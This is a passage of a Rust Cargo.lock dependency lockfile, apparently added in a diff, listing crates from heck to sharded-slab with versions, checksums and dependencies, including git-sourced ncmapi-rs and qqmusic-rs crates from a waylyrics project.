"registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" + +[[package]] +name = "heck" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "hermit-abi" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd5256b483761cd23699d0da46cc6fd2ee3be420bbe6d020ae4a091e70b7e9fd" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "0.14.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-tls" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" +dependencies = [ + "bytes", + "hyper", + "native-tls", + "tokio", + "tokio-native-tls", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indexmap" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" +dependencies = [ + "equivalent", + "hashbrown 0.14.3", +] + +[[package]] +name = "ipnet" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "js-sys" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "ksni" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b31b9cf486bcd22bcd09900b44538cf87b00f526fcd087d671a632dc0d271d0c" +dependencies = [ + "dbus", + "dbus-codegen", + "dbus-tree", + "thiserror", +] + +[[package]] +name = "ksni-dummy" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "705305cfe9604f3081b8c33e03c351da01eedd7dff89a86f7fbc486f025a2f37" + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libc" +version = "0.2.153" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" + +[[package]] +name = "libdbus-sys" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06085512b750d640299b79be4bad3d2fa90a9c00b1fd9e1b46364f66f0485c72" +dependencies = [ + "cc", + "pkg-config", +] + +[[package]] +name = "libmimalloc-sys" +version = "0.1.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3979b5c37ece694f1f5e51e7ecc871fdb0f517ed04ee45f88d15d6d553cb9664" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" + +[[package]] +name = "locale_config" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d2c35b16f4483f6c26f0e4e9550717a2f6575bcd6f12a53ff0c490a94a6934" +dependencies = [ + "lazy_static", + "objc", + "objc-foundation", + "regex", + "winapi", +] + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "lrc-nom" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7b624e31b9613023e400fb5dd998facc31b593e90c8115d67d561d9bd6a671" +dependencies = [ + "nom", + "rust_decimal", + "rust_decimal_macros", + "thiserror", +] + +[[package]] +name = "malloc_buf" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" +dependencies = [ + "libc", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "md5" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mimalloc" +version = "0.1.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa01922b5ea280a911e323e4d2fd24b7fe5cc4042e0d2cda3c40775cdc4bdc9c" +dependencies = [ + "libmimalloc-sys", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "mpris" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55cef955a7826b1e00e901a3652e7a895abd221fb4ab61547e7d0e4c235d7feb" +dependencies = [ + "dbus", + "derive_is_enum_variant", + "enum-kinds", + "from_variants", + "thiserror", +] + +[[package]] +name = "native-tls" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e" +dependencies = [ + "lazy_static", + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "ncmapi" +version = "0.1.13" +source = "git+https://github.com/waylyrics/ncmapi-rs.git?rev=51b4d121#51b4d121235823e8040feb3a9c9052da0559fe75" +dependencies = [ + "base64", + "cookie 0.18.0", + "hex", + "openssl", + "phf", + "rand", + "regex", + "reqwest", + "serde", + "serde_json", + "serde_repr", + "thiserror", + "tokio", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num-conv" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" + +[[package]] +name = "num-traits" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi 0.3.6", + "libc", +] + +[[package]] +name = "objc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" +dependencies = [ + "malloc_buf", +] + +[[package]] +name = "objc-foundation" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9" +dependencies = [ + "block", + "objc", + "objc_id", +] + +[[package]] +name = "objc_id" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b" +dependencies = [ + "objc", +] + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "openssl" +version = "0.10.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95a0481286a310808298130d22dd1fef0fa571e05a8f44ec801801e84b216b1f" +dependencies = [ + "bitflags 2.4.2", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "openssl-probe" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" + +[[package]] +name = "openssl-src" +version = "300.2.3+3.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cff92b6f71555b61bb9315f7c64da3ca43d87531622120fea0195fc761b4843" +dependencies = [ + "cc", +] + +[[package]] +name = "openssl-sys" +version = "0.9.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dda2b0f344e78efc2facf7d195d098df0dd72151b26ab98da807afc26c198dff" +dependencies = [ + "cc", + "libc", + "openssl-src", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pango" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7809e8af4df8d024a066106b72ca6bc7253a484ae3867041a96103ef8a13188d" +dependencies = [ + "gio", + "glib", + "libc", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f52ef6a881c19fbfe3b1484df5cad411acaaba29dbec843941c3110d19f340ea" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "parking" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "phf" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" +dependencies = [ + "phf_macros", + "phf_shared", +] + +[[package]] +name = "phf_generator" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" +dependencies = [ + "phf_shared", + "rand", +] + +[[package]] +name = "phf_macros" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" +dependencies = [ + "phf_generator", + "phf_shared", + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "phf_shared" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec" + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro-crate" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d37c51ca738a55da99dc0c4a34860fd675453b8b36209178c2249bb13651284" +dependencies = [ + "toml_edit 0.21.1", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "version_check", +] + +[[package]] +name = "proc-macro2" +version = "1.0.78" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "psl-types" +version = "2.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac" + +[[package]] +name = "ptr_meta" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0738ccf7ea06b608c10564b31debd4f5bc5e197fc8bfe088f68ae5ce81e7a4f1" +dependencies = [ + "ptr_meta_derive", +] + +[[package]] +name = "ptr_meta_derive" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16b845dbfca988fa33db069c0e230574d15a3088f147a87b64c7589eb662c9ac" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "publicsuffix" +version = "2.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96a8c1bda5ae1af7f99a2962e49df150414a43d62404644d98dd5c3a93d07457" +dependencies = [ + "idna 0.3.0", + "psl-types", +] + +[[package]] +name = "qqmusic-rs" +version = "0.1.0" +source = "git+https://github.com/waylyrics/qqmusic-rs.git?rev=22e66ba#22e66ba62e63d97c6dffb45400655404e6f06b93" +dependencies = [ + "serde", + "serde_json", + "url", +] + +[[package]] +name = "quote" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a6e920b65c65f10b2ae65c831a81a073a89edd28c7cce89475bff467ab4167a" + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "radium" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "regex" +version = "1.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "rend" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71fe3824f5629716b1589be05dacd749f6aa084c87e00e016714a8cdfccc997c" +dependencies = [ + "bytecheck", +] + +[[package]] +name = "reqwest" +version = "0.11.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6920094eb85afde5e4a138be3f2de8bbdf28000f0029e72c45025a56b042251" +dependencies = [ + "base64", + "bytes", + "cookie 0.17.0", + "cookie_store", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-tls", + "ipnet", + "js-sys", + "log", + "mime", + "native-tls", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "system-configuration", + "tokio", + "tokio-native-tls", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "winreg", +] + +[[package]] +name = "rkyv" +version = "0.7.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cba464629b3394fc4dbc6f940ff8f5b4ff5c7aef40f29166fd4ad12acbc99c0" +dependencies = [ + "bitvec", + "bytecheck", + "bytes", + "hashbrown 0.12.3", + "ptr_meta", + "rend", + "rkyv_derive", + "seahash", + "tinyvec", + "uuid", +] + +[[package]] +name = "rkyv_derive" +version = "0.7.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7dddfff8de25e6f62b9d64e6e432bf1c6736c57d20323e15ee10435fbda7c65" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "rust_decimal" +version = "1.34.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39449a79f45e8da28c57c341891b69a183044b29518bb8f86dbac9df60bb7df" +dependencies = [ + "arrayvec", + "borsh", + "bytes", + "num-traits", + "rand", + "rkyv", + "serde", + "serde_json", +] + +[[package]] +name = "rust_decimal_macros" +version = "1.34.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e418701588729bef95e7a655f2b483ad64bb97c46e8e79fde83efd92aaab6d82" +dependencies = [ + "quote 1.0.35", + "rust_decimal", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.38.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" +dependencies = [ + "bitflags 2.4.2", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" + +[[package]] +name = "schannel" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "seahash" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c107b6f4780854c8b126e228ea8869f4d7b71260f962fefb57b996b8959ba6b" + +[[package]] +name = "security-framework" +version = "2.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "semver" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d43fe69e652f3df9bdc2b85b2854a0825b86e4fb76bc44d945137d053639ca" + +[[package]] +name = "serde" +version = "1.0.197" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.197" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "serde_json" +version = "1.0.114" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "serde_spanned" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 